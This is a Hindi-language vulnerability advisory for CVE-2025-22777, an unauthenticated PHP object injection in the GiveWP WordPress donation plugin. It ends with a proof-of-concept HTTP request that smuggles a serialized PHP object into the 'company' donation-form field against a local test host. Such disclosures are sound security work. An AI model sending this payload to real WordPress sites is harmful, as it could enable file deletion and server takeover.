CVE-2025-22777

GiveWP – दान प्लगइन और फंडरेजिंग प्लेटफॉर्म <= 3.19.3 - अप्रमाणित PHP ऑब्जेक्ट इंजेक्शन

विवरण

GiveWP – डोनेशन प्लगइन और फंडरेजिंग प्लेटफॉर्म प्लगइन वर्डप्रेस के लिए, सभी संस्करणों में 3.19.3 तक, डोनेशन फॉर्म से 'company' पैरामीटर के माध्यम से अविश्वसनीय इनपुट के डिसीरियलाइजेशन के कारण PHP ऑब्जेक्ट इंजेक्शन की चपेट में है। यह अप्रमाणित हमलावरों के लिए PHP ऑब्जेक्ट इंजेक्ट करना संभव बनाता है। POP श्रृंखला की अतिरिक्त उपस्थिति हमलावरों को सर्वर पर मनमानी फाइलों को हटाने में सक्षम बनाती है, जिससे रिमोट कोड निष्पादन संभव होता है। कृपया ध्यान दें कि यह CVE-2024-12877 के फिक्स को बायपास करने को कवर करता है।

विवरण

• प्रकार: plugin
• स्लग: give
• प्रभावित संस्करण: 3.19.3
• CVSS स्कोर: 9.8
• CVSS रेटिंग: गंभीर
• CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2025-22777
• स्थिति: सक्रिय

POC

POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

amount=10&currency=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=Test&[email protected]&donationType=single&donationBirthday=